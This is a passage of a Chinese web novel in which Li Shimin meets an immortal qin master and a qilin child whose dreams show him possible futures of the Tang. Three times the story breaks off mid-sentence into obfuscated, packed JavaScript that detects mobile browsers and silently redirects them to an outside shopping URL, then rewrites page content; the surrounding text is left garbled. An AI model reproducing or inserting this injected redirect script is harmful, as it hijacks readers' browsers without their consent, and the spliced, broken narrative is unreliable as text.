《和二凤陛下梦游天下》 1. 第 1 章 武德九年六月初三。秦王府邸。 夜漏三更,府内烛火摇曳,将窗棂上的竹影投得忽明忽暗。 李世民盘膝坐在榻边,案上的兵符与密函摊得凌乱。玄武门三个字像针一样,一下一下的刺着他的眼。 他抬手揉了揉发胀的额角,太子与李元吉的步步紧逼,早已把他逼得要做一个违反祖宗的决定。 一双温暖的手轻轻揉着李世民的前关,是观音婢。 李世民闻着观音婢身上熟悉的柔和的香气,不由得放松下来,靠在她的怀里。 “二郎不必担忧,”长孙氏轻声安抚道,“明日之事,顺天应人,必无波折。” 李世民侧仰着头看她,眼底尽是红血丝,声音沙哑:“若有万一……” “没有万一……”长孙氏打断他,指尖下滑,抚着他的侧脸,掌心的暖意让李世民有些眷恋,“万事具备,此去自有天意护持,断无差池。” 李世民看着她沉静的眉眼,连日来的紧绷松了几分,“嗯”了一声后,倦意也随之而来,就这样躺在观音婢怀里睡去了。 可不过阖眼片刻,竟坠入了一个光怪陆离的梦境。 他梦见自己身处一片混沌的云海仙境,清越的琴音在四周环绕。 一个看不清面容、气息令人无比安宁的白衣身影在远处抚琴。 忽然,一个顶着两个小角、眼睛像流淌的金色岩蜜的幼童,咯咯笑着从云里窜出来,扑到他的腿上,仰着头,亮晶晶的眼睛一眼不眨地看着他,一点也不怕生。 李世民蹲下身,想问问他,他是谁,这是哪里。正欲张口,突然,幼童扯了扯他的袖子,指向下方,李世民顺着方向看去。 云海散开,赫然显出长安城的景象,但李世民看着不像此时的长安。这个城池更加宏伟繁华,百姓熙熙攘攘,一派盛世气象。 难道这是以后的长安?这幼童似乎想让我看看后世之景,难道我的决定是对的?李世民想着。 正在李世民思索着,画面骤然扭曲,盛世图景如琉璃般破碎,取而代之的是冲天火光、厮杀惨象、宫阙倾颓……一幅触目惊心的都城沦陷惨状。 李世民面色骤变,却发现自己怎么也动不了。幼童也吓住了,紧紧抱住他,金色的眼睛里满是害怕。 最后,一切破碎,幼童用稚嫩的声音焦急地对他喊了一句模糊的话:“记住……气运……琴音……” 李世民大汗淋漓地猛然坐起,心跳如鼓。他下意识的想找观音婢,扭头却发现窗外天色已冒微光,观音婢也不知何处去。 梦里的恐慌和那孩童的眼睛异常清晰,但具体细节已模糊不清,只留下一种沉重的不祥预感和一丝对那奇异孩童的莫名牵挂。 他想,大抵是压力过大,才做的这奇艺的梦境。俗话说,梦里都是与现实相反的,他安慰自己。 与此同时,流云境。 终年缭绕的白云雾气之下,黛青山峦若隐若现。 沿着青玉小径走入,两旁尽是被云气裹着的翠竹,竹梢挂着流动的霞光,宛如碧玉梭在银纱中穿行。 竹林深处,一棵需十人合抱的古木拔地而起,主干布满了沟壑与青苔。泛着微光的流云在古木周围旋转流淌,仿佛整片流云境的仙灵之气,都在它缓慢的吐纳之间循环。 时有白鹤单足立于古木低垂的枝丫,朱红的顶冠在绿意与白雾之间格外醒目。 太子长琴抚琴的亭台便倚着古木而建。琴音起时,竹叶随着琴音轻颤,绕着古木的微光仙气随之明灭,鹤翅的每一次舒展也压在了琴韵之上。 整个流云境仿佛一件随着太古清音而和谐呼吸的巨大生灵。 但—— 这种意境高雅的景象已不复存在。 自从太子长琴的好友霄将自己的幼崽托付给他教养后,流云境的美好生活自此消散。 一想到那个混世小儿,翠竹似乎暗淡了几分,万年常青的古木的树叶飘落了几叶枯叶,仙鹤也不敢随意信步。 只余那小儿的肆意笑声。 太子长琴坐于静室,凤来琴横于膝上,指尖悬停,却久久未落。 屋外传来景颐张狂的笑声和急促的几声鹤鸣。 他不由得想起与这个幼崽初见的场景。 那时,长琴正于亭中抚琴,霄忽然来访,他行事向来潇洒不羁,一下子坐在长琴旁边,说自己感应天道,需与伴侣远游参悟一桩大机缘,或许千百年方归。 “吾族对后代,放养就是最好的历练。这小家伙刚出生不久,名景颐,劳烦老友你照看些时日,随便教教,别让他拆了家便是。” 态度随意,仿佛只是托付一只特别的灵宠。留下一些关于景颐“偶尔做梦会梦到些好玩的东西”的简单提醒和一本《麒麟育成指南(简略版)》便化作金光逃之夭夭,云游而去。 而彼时长琴还沉浸在抚琴之中,待反应过来,只看见一个麒麟幼崽坐在冠角上,啃着自己的前蹄看着他。 “啾?”幼崽歪着头,看着长琴,鼻尖轻轻抽动,似乎在辨认气息。 然后他眼睛一亮,看着面前长长的、银白的线,忍不住伸爪拨弄。 “铮——”一声刺耳的杂音。 幼崽被吓了一跳,猛地向后一缩,结果后退踩空,从琴身边缘滚落。长琴衣袖一卷,在它落地前稳稳托住。 小家伙惊魂未定,在长琴掌心瑟瑟发抖,那身金色软鳞蹭得他掌心微痒。 随即,它似乎被长琴身上清冽宁静的气息安抚,试探着,用微凉湿润的鼻尖,碰了碰他的手腕。 长琴将它举至与自己眼睛平行,面带犹疑:“你,叫什么?” “啾?”小家伙听不懂。 长琴思索片刻,才勉强从模糊的记忆里挖出来一个名字, “景颐?对吗?” “啾!” 大概是的吧,长琴想着。 他挥手揽过一朵白云,将其变作柔软的云垫,把幼崽轻轻放进去。 自己则拿起那本简略版的指南,准备翻看一番。 幼崽安分了不到一刻钟。 它先是好奇地啃了口身下的云垫,一咬一口空,有些失望。然后又开始啃刚刚凑过来的瑶草,瑶草精大惊失色,连忙逃走。 “啾!” 它看着周围陌生而广阔的世界,满眼好奇。 它看向架着琴的琴台,试图攀爬上去,可惜爪子太软,爬了半尺就滑了下来,摔个屁墩儿。它也不气馁,转头去扑咬长琴曳地的衣摆,把自己滚成一团。 又对从古木透过来的光柱中飞舞的微尘产生了浓厚兴趣,扑了几下后,看到了自己的尾巴,又追着尾巴转了好几个圈,直到晕乎乎地撞上琴台腿。 “咚——”一声闷响。 幼崽呆坐在原地,用爪子揉了揉撞到的额头,金色的大眼睛里迅速弥漫上一层委屈的水光,仰头看向长琴,发出带着颤音的呜咽:“呜……” 长琴听到声响,放下书籍,俯身将它捞在掌心,指尖抚在它的额头,轻轻地用灵力舒缓它的疼痛。 然而,长琴断然没有想到,此后,自己的生活因自己掌心这个可怜的小家伙,变得翻天覆地。 自从小麒麟来到这里以后。 流云境内时常出现奇景:时而映出早已湮灭的古国市井烟火,时而掠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,看向长琴,“长此以往,于幼崽心性稳固不利,对此境生灵亦是持续扰攘。” “可有解法?” 长琴问,声音平静,却已放下手里的树根,忍不住起身靠近了白泽。 “有。” 白泽颔首,掌中浮现一片光幕,其上流转着难以名状的古老乐符虚影, “《鸣岐溯音谱》。此谱之妙,不在杀伐,而在调和。调和万物生灭节奏,自然也能调和紊乱的时间涟漪。若能得之,以其韵律引导,可助幼崽梳理力量,安抚此地因光阴尘埃而过于活跃的灵机,使流云复归宁静滋养,而非助长躁动。” 他收起光幕,神色多了几分郑重, “然,此谱早已散轶。我所知者,仅有部分安流章残卷下落,稍后可予你方位。至于全谱……” 白泽目光投向云海之下,那万丈红尘所在, “据最后星轨推演,其核心篇章,乃至孕育此谱的鸣岐天音之根,很可能已随天道流转,坠入人间,与某一蓬勃兴起、气运汇聚的人道王朝深深纠缠。唯有在那片红尘最炽热、文明最昌盛之处,方有寻回并真正奏响全谱的可能。” 风过竹林,沙沙作响。 长琴从回忆中醒来,听到屋外的动静。他想,寻着部分安流章残卷之后,景颐的溯梦之力倒是调和了不少,但—— 景颐太过活泼了些。 不过随着景颐慢慢长大,安流章残卷也渐渐难以调和它的溯梦之力,再者,为了流云境的生灵着想,是时候可以去人间寻找鸣岐谱全篇了。 2. 第 2 章 古木垂落的树叶在风中微微摇曳,流淌的微光仿佛感知到了离别。 长琴立于古木下,景颐正在树枝上蹦来蹦去,发出细碎的笑声,全然不知即将远行。 “颐儿。”长琴唤道。 幼崽立刻跳下树枝,化作一道金色小旋风般扑到他腿边,仰起头,琥珀色的眼睛里映着流云与天光:“师父!骑鹤鹤?” “不骑鹤。”长琴蹲下身,与幼崽平视,“我们要去人间。” 景颐眨了眨眼:“人间?像梦里那样吗?有很多……大房子?很多人?还有好吃的?” 它曾从溯梦的碎片里窥见过零星的市井烟火。 “或许。”长琴的声音依旧平淡,却伸手理了理幼崽尾巴上蹭散的蝴蝶样式的丝带,那是景颐为了臭美,央着长琴在它尾巴上系个好看的丝带。 “那里与流云境不同。你要学会收敛。” 他取出一枚温润的羊脂玉佩,玉佩上天然纹路隐约构成一头酣睡的麒麟。 这是他昨夜用古木脱落的、最稳定的一片古木心,辅以安流章残谱的韵律炼化而成。 “戴着它,不可离身。” 长琴将玉佩系在景颐颈间。玉佩触体后,景颐周身泛起光芒,光芒散去后,景颐赫然变成了一个凡人幼童。 周身那些时不时迸出的细小金色火花,也立刻像被无形的罩子拢住,消散了大半。 景颐也不是第一次变成人形,只是往常觉得人形模样太过束缚,便常以麒麟模样玩耍。 他好奇地摸了摸玉佩,感到一种熟悉又安心的束缚感,像师父的琴音裹住了自己。 接着,长琴打开一只看似寻常的藤编书箱。箱内别有洞天。 最上层整齐叠放数套凡人孩童衣物,从素雅的细麻到精致的绸缎皆有,尺寸稍大,显然是预备着景颐成长。 衣物下,是一个个小巧的玉盒或油纸包,散发出各异的气息:有清心宁神的冰檀粉,有安抚惊悸的安魂香丸,有伪装用的、能让景颐金眸暂时显为深褐色的敛光露,还有一大堆各类耐储存的灵果蜜饯。 这是最重要的战略储备,用以在幼崽无聊、烦躁或闯祸后及时安抚,换取片刻安宁。 书箱中层是几卷人间地理志、风俗考略,以及最重要的, 那份指引《鸣岐谱》残卷大致方位的星图玉简。底层则静静躺着凤来琴,琴囊上绣着流云的暗纹。 长琴又拿出一个更小的、绣着瑞兽的锦囊,挂在景颐腰间。 “这里是零用,”他顿了顿,考虑如何解释, “人间行走,有些东西需以银钱交换。若看到极其想要的吃食或玩具,可告诉为师。” 他尽量说得具体,避免幼崽对“想要”产生过于广阔的理解。 最后,他凝视景颐,目光中有严肃,也有淡淡的温柔: “记住三条:一、玉佩不离身,保持人形;二、不可随意动用天赋;三、紧跟为师,不得擅自远离。” 景颐似懂非懂,但师父难得如此郑重,他用力点头,小手拍了拍胸脯: “颐儿乖!跟紧师父!” 说完便忍不住去扒拉书箱,想看看蜜饯在哪个格子。 长琴由它去,自己则走到古木前,将一道蕴含安流章片段的守护琴音封入树干,以维持流云境在他离去后的基本灵机平衡。 又对远远观望的仙鹤与瑶草精微微颔首,算是告别。 准备停当。他拎起书箱,箱体立刻变得轻若无物。景颐自动爬过来,抱住他的腿,眼睛亮晶晶地看向结界之外,那翻滚云海之下的未知世界。 “走了。”长琴说。 他并未化作流光,而是如同寻常旅人,牵着景颐,一步一步,踏出了流云境的结界。 身后,云雾缓缓合拢,掩去翠竹古木。前方,人间山河,徐徐展开画卷。 山风拂来,已带着泥土与炊烟的气息。景颐深吸一口气,打了个小小的喷嚏,随即兴奋地摇晃长琴的手:“师父,下面有声音!好多声音!” 长琴“嗯”了一声,握紧了掌中温热的小手,朝着白泽星图所示、亦是红尘气运最为鼎盛喧嚣的方向,迈步而下。 流云,暂别;人间,初临。 —— 贞观四年春,长安。 夜色方褪,天际将明未明。 李世民已于两仪殿中批阅了半夜奏章,此刻正凭栏远眺,舒展筋骨。晨风带着渭水的湿气,吹动他额前几缕未束紧的发丝。 忽然,司天监值夜的官员连滚爬入殿前广场,声音因激动而尖锐: “陛下!天示瑞兆!终南山上空,有玄黄之气聚而成形,似龙非龙,似兽非兽,其状煌煌如神兽麒麟,又有清越弦音自九天而降,持续数息方散!此乃天佑大唐,盛世之兆啊!” 殿前侍卫、内侍皆露惊容,纷纷低声议论,面带喜色。 李世民却只是微微挑眉,目光投向终南山的方向,那里天色已恢复正常。 他沉默片刻,淡淡道:“星象变化,云气聚散,乃天地常理。传旨司天监,谨慎观测,记录归档即可,不必过度解读,更不可以此滋扰民间。” 他声音平和,却带着不容置疑的威严。司天监官员满腔热忱被浇了一盆冷水,喏喏称是,躬身退下。 内侍总管王德小心上前:“大家,毕竟是祥瑞……” 李世民抬手止住他的话头,转身走回殿内,只留下一句: “国之祥瑞,在百姓安居,仓廪充实,在将士用命,边关宁靖。岂在区区光影形状?” 无人看见,他转身时,眼底掠过一丝极淡的疑惑。 方才那一瞬,当天际异象最盛时,他心口确实毫无征兆地悸动了一下,仿佛有什么极其古老、极其遥远的东西,与他产生了刹那的共鸣。但那感觉倏忽即逝,快得像是错觉。 他摇摇头,将这些怪力乱神的思绪抛开,重新专注于案头那厚厚的、关乎吏治与民生的奏折。 终南山深处,一处被无形结界笼罩的山巅,云雾终年缭绕,凡人难见真容。 长琴与景颐已在此隐居数月。结界不仅隐匿了他们的踪迹,也极大削弱了景颐无意识散发的溯梦对人间的影响。 长琴每日以安流章为景颐调理,助他适应化形,并学习控制力量。 景颐的人形是个约莫五六岁的孩童模样,一头柔软微卷的暗金色短发,头顶两个不明显的小小鼓包被巧妙地用发带装饰遮掩。 眼眸原本的眸色背掩盖成深褐色,皮肤白皙,穿着长琴用云霞与灵丝炼制的淡金色小袍,灵动非凡。他心性仍似幼兽,对山林里的一切充满好奇。 这日午后,长琴正在竹庐内研读白泽所赠玉简中关于《鸣岐谱》其他残篇的缥缈线索,景颐百无聊赖,便溜出了结界范围。 长琴允许他在附近安全区域活动。 很快,景颐发现了一只体型硕大、毛色斑斓的吊睛白额猛虎。 那老虎本是山中一霸,此刻却瑟缩在一处岩壁下,兽瞳充满惊恐,低伏着身躯,发出不安的呜咽。 在它模糊的兽类感知里,眼前这个看似无害的小人儿,散发着让它灵魂战栗的、属于顶级掠食者与神圣存在的双重威压。 景颐却很高兴:“大猫猫!” 他记得在某个梦境碎片里见过类似的生物,觉得威风极了。 他欢快地跑过去,想摸老虎的头。老虎吓得魂飞魄散,转身就逃。 景颐以为它在和自己玩“你追我赶”的游戏,更兴奋了,咯咯笑着追了上去。 于是,终南山麓出现了诡异一幕:一只惊恐万状的老虎拼命奔逃,一个金光闪闪的小孩在后面紧追不舍,笑声洒满林间。 与此同时,山脚下旌旗招展,马蹄如雷。 李世民率领文武百官及禁卫精锐,正在进行今年的夏苗。 是演武,亦是舒怀。他纵马驰骋,箭无虚发,眉宇间是开创盛世、君临天下的自信锋芒。 李世民一身劲装,胯下骏马神骏,正与几位心腹武将如李靖、尉迟敬德等,纵马追逐一头罕见白鹿。 众人追得兴起,不知不觉深入山林。 忽然,前方雾气转浓,景物似乎扭曲了一瞬。李世民胯下战马不安地打了个响鼻,众人也未太在意,只当是山间寻常雾气。 他们穿过一片古木林后,却愕然发现,周围环境静谧得诡异,鸟兽声息皆无,连方向感都变得模糊起来。 “陛下,此地似乎有些不对。”李靖蹙眉,手按剑柄。 李世民目光锐利地扫视四周:“像是迷阵。小心戒备,探查出路。” 就在此时,前方树丛剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李世民闷哼一声,脸色瞬间惨白如纸,额角青筋暴起,仿佛被无形的重锤击中灵魂,整个人摇摇欲坠,全靠强大意志力才未倒下。 他想起来了,玄武门之变前夜,那个混沌的梦境,那些被刻意遗忘、模糊的梦境后半段,此刻被鲜血与火焰重新填满,变得无比清晰、无比确信! “陛下!” 尉迟敬德与李靖大惊失色,抢上前扶住他。 李世民勉强睁开眼,看向因眼前人的动静抬起头的幼童。 刹那间,李世民本就头痛欲裂的脑袋更上一层楼。 一双深褐色的清澈见底,却又仿佛倒映着万千星辰流转。 这面…… 是那个梦里的奇异幼童! 虽然他不知为何这孩子的眼睛与梦中不同,但多年来,梦里孩童那张脸与这孩子别无二致。 那句破碎的“气运……琴谱……”叮嘱,如同烙印,深藏心底。 他一度以为那只是压力所致的幻影,或是某种天命启示的抽象象征。 万万没想到,竟在此地,如此真实地重逢! 但景颐还深深地沉浸在失去玩伴的悲痛之中,只抬头看一眼,就继续嚎哭了。 “陛下!”李靖和尉迟敬德看着李世民神色僵硬,急急呼道。 几乎同时,一道白影如流光般骤至,凛冽剑气直指李世民眉心! 太子长琴面覆寒霜,眼中尽是怒意与警惕:“何人在此!安敢惊扰我徒!” “保护陛下!” 李靖、尉迟敬德肝胆俱裂,悍然拔刀挡在李世民身前,尽管持刀的手在对方那非人的威压下微微颤抖。 景颐见到师父,哭得更委屈了,跑过去抱住长琴的腿: “师父!他杀了我的大猫猫!哇——” 长琴剑尖微颤,看了眼哭得撕心裂肺的徒儿,又看了眼地上毙命的老虎,以及眼前这明显是凡人帝王将相的几人。 尤其是被护在中间、刚刚从惊骇幻象中勉强挣脱、眼神还残留着巨大震撼与迷茫的李世民。 误会……似乎有点复杂。 3. 第 3 章 不过此人竟能触发景颐的溯梦之力? 长琴压下怒意与疑虑,剑并未收回,声音冰冷:“此处清修之地,常人何以闯入?” 李世民此时已从最初的惊骇幻象和梦中之人来到现实的奇怪感觉中勉强定神,那些烽火景象虽仍烙在心底,但多年戎马与御极的历练让他迅速戴上镇定面具。 他起身摆手示意李靖和尉迟敬德退至身后,看着来人通身不俗的气质和非同寻常的面貌,拱手,语气诚恳而不失威仪: “在下李世民,与友来此游猎,不慎误入此地。方才见猛虎似欲伤及孩童,情急出手,实为相救,绝无他意。惊扰仙长与令郎,深感歉意。” 他语气略带歉意,以图缓和气氛。 他的目光落在仍在抽噎的景颐身上,又迅速瞥了一眼地上老虎的尸体,想起孩童那悲痛纯粹的哭声,心中不免也有一丝歉疚。 或许,那虎与这孩童,真的只是玩耍? 还有这孩童,真与那梦中之人是一个人吗?李世民暂且压下心中疑虑。 长琴审视着李世民,能感觉到对方身上那浓郁的人间帝王气运,也看出他言辞中的诚恳与那深藏眼底的惊疑不定。 他沉默片刻,终是缓缓收剑。 “既是误会,此地不宜久留。” 长琴抬手,一道清光拂过,林中雾气似乎稀薄了些,隐约显出一条小径, “沿此路下行,不出三里,便可出得此山,回到尔等来处。” 李靖、尉迟敬德松了口气,但仍紧握兵器,警惕未消。 李世民却站在原地未动。 他脑海中那烽火长安的景象挥之不去,心脏仍在为那幻象中的惨烈而剧烈跳动。 又一次出现,这绝非寻常噩梦或幻觉! 这孩童,这白衣仙长,这莫名闯入的结界,还有那触及孩童时匪夷所思的所见…… 这一切都指向一个不可思议的可能。 一个或许能解答他自登基以来最深忧虑,甚至可能关乎大唐国祚的秘密,就在眼前。 冒险?帝王不应轻易涉险。但若是关乎天下气运、兆民祸福呢? 李世民眼神变得无比锐利和坚定。 他忽然道:“仙长,在下射杀这虎,惊了孩子,心中着实过意不去。观这孩儿似受惊吓,在下略通安抚幼童之术,不知可否……” 他顿了顿,看向景颐,眼神真挚, “让在下稍作弥补,待孩儿平静些再走?也好确认他是否无恙。” 理由合情合理,姿态放得较低,且以关心孩童为切入点,令人难以断然拒绝。 长琴看了眼死死拽着自己衣角、眼睛红肿却偷偷打量李世民的景颐,略一沉吟,点了点头。 “可随我来。勿生事端。” 他警告地瞥了李靖二人一眼。 李世民随即对李靖、尉迟敬德道: “你们先行返回,告知外面朕平安,稍后便归。朕陪这孩子片刻。” “陛下!不可!”两人大惊,这白衣人神秘莫测,岂能让天子独留险地? “无妨,仙长在此,能有何事?速去。” 李世民语气带着帝王的不容置疑。 两人无奈,只得再三嘱咐,忧心忡忡地沿小径离去。 李世民跟随长琴与景颐,穿过几重迷蒙雾气,眼前豁然开朗。 山巅竟有一片清雅竹庐,古松盘虬,流水潺潺,灵气氤氲,宛若世外仙境。 景颐回到熟悉的环境,又被师傅牵着,情绪稍稳,但依然闷闷不乐,时不时回头看一眼被留在山林里的大猫猫方向。 长琴将景颐带到庐前石台坐下,自己则取出一张气息古朴的七弦琴。 “颐儿,静心。” 他指尖轻拨,正是那曲安流章。清越宁静的琴音流淌开来,仿佛山间清泉洗涤尘嚣,又似和风拂平涟漪。 景颐果然渐渐安静下来,依偎到长琴身边,眼皮开始打架。 李世民静坐在一旁的石凳上,默默观察。此景倒又与梦中之景重合。 琴音入耳,他竟也感到一阵久违的宁神静气,连日处理政务的疲惫似乎都被抚慰了些许。 他注意到,那孩童对琴音依赖极深,而那白衣仙长的琴艺,已超凡入圣,琴音中蕴含的平和力量,绝非人间乐师所能及。 更奇异的是,他心中对那孩童竟也莫名生出一丝亲近之感,仿佛对方身上有什么气息隐隐与自己相合,不过大抵也是从前在梦中有过一面之缘。 而景颐在琴音安抚下,对李世民似乎也不再害怕,偶尔还投来好奇的一瞥。 长琴一曲终了,景颐已靠着他昏昏欲睡。 李世民见状,适时上前,声音放得格外温和: “仙长琴艺通神,令人叹服。孩子看来困了,若不介意……” 他试探着伸出手,姿态放松无害,“在下曾哄过自家孩儿,或可一试?” 长琴看了眼已然半梦半醒、对李世民并无排斥的徒儿,又见李世民眼神清澈坦然,略一颔首。 李世民小心地将软绵绵的景颐接过来,抱在臂弯。 景颐身上有淡淡的、仿佛阳光晒过青草和暖玉的清新气息。他调整了一个让孩子舒服的姿势,轻轻拍抚,低声哼起一段模糊却柔和的调子,是幼时阿娘哄他入睡时哼的调子。 景颐迷瞪着眼,看着抱着自己的人,糯声问道:“你是谁啊?” 李世民看着景颐挣扎在睡意与好奇之前的神色,不由觉得好笑。 他腾出一手,捏了捏景颐柔嫩的脸蛋,轻声笑道:“我姓李,叫我李叔叔就好。” “李叔叔……” 景颐得了解答,在熟悉的琴音余韵和这陌生却令人安心的怀抱与哼唱中,彻底放松下来,小脑袋靠在李世民肩头,呼吸变得均匀绵长,竟是睡着了。 长琴眼中掠过一丝讶异,但未多言,只是静静调息。 李世民抱着幼童,坐在石凳上,山风轻柔,夕阳余晖给山巅镀上暖金色。 连日劳累加上琴音宁神,他竟也感到一阵倦意袭来。 不知不觉,他也闭上了眼睛。怀中小孩的温暖,山间的静谧,让他紧绷的神经松弛下来。 然而,这份宁静并未持续太久。 睡梦中,李世民并未再次看到那烽火连天的长安,反而看到了一个极其真实又令他头皮发麻的场景: 是次日清晨的太极殿!他正襟危坐于龙椅,听着朝臣奏事。 忽然,魏征出列,手持笏板,面色肃然,开始就他昨日“于秋狝中擅自离队、久出不归、涉险林莽、罔顾安危”之事,引经据典,滔滔不绝地进谏! 那言辞之犀利,逻辑之严密,态度之刚直,唾沫星子几乎要隔着梦境喷到他脸上! 他甚至能“听”到魏征那洪亮的声音在殿中回荡,感受到满朝文武或同情或无奈或看热闹的目光,以及自己那混合着尴尬、恼怒又不得不强忍的复杂心情…… 这明日之忧比那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114013|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥远的战火更让他瞬间惊醒! “嗬!” 李世民猛地睁开眼,倒吸一口凉气,额角见汗。 几乎同时,怀里的景颐也剧烈一抖,“哇”地一声大哭起来,比之前更凄厉: “师父!师父!有坏人!好多唾沫星子!淹死颐儿了!呜呜呜……好可怕!他说个不停!颐儿不会游泳!” 小家伙手舞足蹈,仿佛真的要被谏言的洪水淹没,显然也在刚才的梦境共鸣中,看到了魏征进谏的可怕场景。 长琴瞬间闪至近前,将哭得打嗝的景颐接回怀中,看向李世民的眼中疑问与警惕更盛。 李世民惊魂未定,看着在长琴怀里委屈大哭、描述着“唾沫星子淹人”的景颐,又想起自己刚才那个真实到可怕的“魏征谏言梦”,一个惊人的猜想如闪电般划过脑海: 那烽火长安不是偶然,这谏言噩梦也非寻常!是这孩子的缘故!触碰他,或靠近他入睡,便会坠入某种预见或共感之梦! 此时,天色已彻底暗下,山间升起凉意。 长琴轻轻拍着景颐后背,注入一丝温和的灵力安抚,对李世民道: “今夜已深,不便下山。西侧有间空置竹舍,可暂歇一宿。明日再行离去。” 语气虽淡,却不容商量。 他需要弄清徒弟身上发生了什么。 李世民正求之不得,立刻拱手:“多谢仙长收留,叨扰了。” 是夜,景颐在长琴的安抚和又一曲轻柔的安流章后,终于含着泪花沉沉入睡。 长琴为他掖好被角,走出内室,来到外间。 李世民并未入睡,正站在窗前,望着窗外皎洁的月光和云海,背影显得沉重。 听到脚步声,他转过身,脸上已无白日的温和或惊骇,只剩下一种深沉的凝重。 “仙长,”他开门见山,再无丝毫隐瞒或借口, “今夜,朕须坦言。朕并非第一次见到令徒,四年前,我做了个梦,梦见这孩童和我看到了我从未见过的烽火长安之景。 “今日在山林,又一次遇见令徒,我触碰他后,又看见了那个幻象,只不过,这次更加清晰、感受也更加真切。战火焚城,长安陷落,似是异族叛乱,国祚动摇,一片惨状!” 他顿了顿,观察长琴神色,见对方并无太大惊讶,心知自己所料不错,继续道: “方才小憩,朕又梦到……明日朝会,被臣下直言进谏的场景,真实无比。而令徒亦同梦惊醒,哭诉唾沫淹人。几番异梦,皆因接触令徒而起。仙长,令徒究竟是何人?此等……预见之能,又从何而来?那烽火长安之景,可是……未来某种预示?” 他的目光紧紧锁住长琴,不再是帝王对山野修士的探究,而更像一个背负苍生的凡人,在面对可能关乎国运的神秘存在时,发出的急切而郑重的叩问。 清冷的月光洒在他脸上,映出眉宇间深深的忧患与急切。 长琴静立片刻,方才缓缓开口,声音在寂静的夜色中格外清晰: “他非我子,乃故友所托幼儿,其有通晓古今时间之能。你所见,非幻非妄,乃是他天赋无意所泄之溯梦,可能是过往碎片,亦可能是,未来支流之一种可能。” 竹庐内,灯火如豆。 一个关乎神兽、时间、王朝气运与未来警示的漫长夜晚,刚刚开始。 李世民的真正目的,寻求理解与应对那可怕未来的可能,也在此刻,正式摆在了太子长琴的面前。 4. 第 4 章 山顶的竹庐内,灯烛燃了半宿。 炭火在小炉上噼啪轻响,景颐早已哭累,蜷在长琴身边的小榻上沉沉睡去,脸上还挂着泪痕,但呼吸均匀,偶尔咂咂嘴,似乎梦到了蜜饯。 长琴指尖始终虚按在他腕间,一缕极淡的、带着安流章韵律的灵力缓缓流转,抚平他因能力过度触发而略显紊乱的气息。 炉火另一侧,李世民正襟危坐。 褪去了劲装与铠甲,他只着一件素色中衣,外披着长琴递来的云纹罩袍,面容在跳跃的光影中显得异常肃穆,甚至有些憔悴。 半宿长谈,信息量过于惊人,冲击着他固有的世界观。 长琴言简意赅,却也未过多隐瞒。 他告知了景颐的麒麟身份与其天赋溯梦的实质——并非主动窥探,而是被动感应并映射时空长河中烙印深刻的焦点,尤其是与强大气运个体,比如与帝王接触时,更容易被激发。 他也解释了流云境特殊环境与景颐能力相互扰动的问题,以及寻找《鸣岐溯音谱》以助其梳理控制力量的必要性。 “所以,”李世民消化着这些信息,声音有些干涩, “朕所见……非既定之未来,而是一种可能?且因朕之气运与令徒接触,才得以显现?” “可视为未来支流之一。” 长琴拨动了一下炉中炭火,“时间如河,分支无数。你所见,乃是最为汹涌、可能性颇高的一股暗流。它因种种‘因’而存在,亦可能因种种‘变’而改道。” “因……与变……” 李世民喃喃重复,目光投向沉睡的景颐,又似穿透墙壁,望向长安方向,“那便是说,若朕……若大唐此刻之‘因’改变,那烽火长安之‘果’,或可避免?” “理论如此。”长琴看向他, “然天道幽微,因果交织。强改大势,往往牵一发而动全身,引发何种新变,难以预料。” 李世民沉默良久。炉火将他的影子长长投在墙壁上,微微晃动。 最终,他抬起头,眼中疲惫未消,却重新燃起了一种更为深沉、更为坚毅的光芒,那是一个开创者面对难题时的眼神。 “纵然前路莫测,知晓有此一劫可能,便强过全然蒙昧。” 他缓缓道,每一个字都沉甸甸的,“仙长寻谱以安幼徒,乃是师者之责。朕欲求变以避灾劫,乃是人君之任。你我目的,或有相通之处。” 他停顿一下,提出了一个设想: “仙长方才言及,令徒之力易与强盛气运交感。朕乃人间帝王,身系大唐气运中枢。是否……让令徒在可控情形下,接触此间气运,对其掌控能力,亦是一种历练与参照?总好过在山中无的放矢。” 长琴不置可否,但眼神微动,显然在考虑。 李世民见状,更进一步,语气诚恳: “再者,仙长欲寻古谱,需在人间行走探查。携一稚龄幼童,多有不便。若不嫌弃……” 他斟酌着词句,“可携令徒暂居长安城内。一来,宫内太医署或有古籍、或识古物之人,可助仙长探查琴谱线索。二来,宫中亦有年幼皇子公主,性颇纯良,令徒有玩伴相伴,或能稍解烦闷,亦合乎孩童天性。三来……我可保证,必以贵客之礼相待,绝不会令令徒受半分委屈,亦会遣稳妥之人随护,绝不影响仙长正事。” 他提出的条件,可谓思虑周全,既考虑了景颐的成长与安全,也顾及了长琴寻谱的需求,更隐含了就近观察、有限合作的意图。 长琴垂眸,看着景颐睡梦中无意识抓住自己袖口的小手。 带这孩子下山,本就有让其接触人间、消耗精力的打算。深山结界定居虽清净,却非长久之计,景颐的活泼好动天性需要更广阔的空间释放,其能力也需要在更复杂的环境中学习控制。 李世民所言不无道理,皇宫内资源丰富,人员可控,确实比在外漫无目的寻找或困于山野更有效率。 至于安全…… 